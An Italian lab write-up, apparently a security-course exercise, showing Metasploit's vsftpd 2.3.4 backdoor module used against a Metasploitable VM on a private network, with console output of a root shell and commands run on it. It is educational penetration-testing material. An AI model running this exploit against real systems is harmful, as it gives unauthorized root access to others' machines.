

La prima cosa che andiamo a fare è modificare l'IP di meta con quello indicato nell'esercizio.

```
ne programs included with the Ubuntu system are free software.  
The exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
  
To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  
or mail.  
sfadmin@metasploitable:~$ ip a  
lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        inet6 ::1/128 scope host  
            valid_lft forever preferred_lft forever  
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000  
    link/ether 08:00:27:5c:ef:24 brd ff:ff:ff:ff:ff:ff  
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0  
        inet6 fe80::a00:27ff:fe5c:ef24/64 scope link  
            valid_lft forever preferred_lft forever  
eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000  
    link/ether 08:00:27:7f:70:1e brd ff:ff:ff:ff:ff:ff  
sfadmin@metasploitable:~$
```

In seguito configuro il servizio ftp su msfconsole

```
[*] 192.168.1.149 - Command shell session 3 closed.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  


| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.1.149   | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                  |

  
Payload options (cmd/unix/interact):  


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
| ---- | -----           | -----    | -----       |

  
Exploit target:  


| Id   | Name      |
|------|-----------|
| ---- | -----     |
| 0    | Automatic |

  
View the full module info with the info, or info -d command.
```

Una volta configurato avvio la sessione tramite comando exploit ed eseguo il comando mkdir

```
File Actions Edit View Help  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
  
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)  
[*] 192.168.1.149:21 - USER: 331 Please specify the password.  
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...  
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 3 opened (192.168.1.105:37307 → 192.168.1.149:6200) at 2023-09-18 11:48:09 -0400  
  
ifconfig  
eth0      Link encap:Ethernet  HWaddr 08:00:27:5c:ef:24  
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0  
          inet6 addr: fe80::a00:27ff:fe5c:ef24/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:1146 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:1171 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:89387 (87.2 KB)  TX bytes:73744 (72.0 KB)  
          Base address:0xd020 Memory:f0200000-f0220000  
  
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0  
          inet6 addr: ::1/128 Scope:Host  
          UP LOOPBACK RUNNING  MTU:16436  Metric:1  
          RX packets:502 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:502 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:0  
          RX bytes:189744 (185.2 KB)  TX bytes:189744 (185.2 KB)  
  
mkdir /test_metasploit  
█
```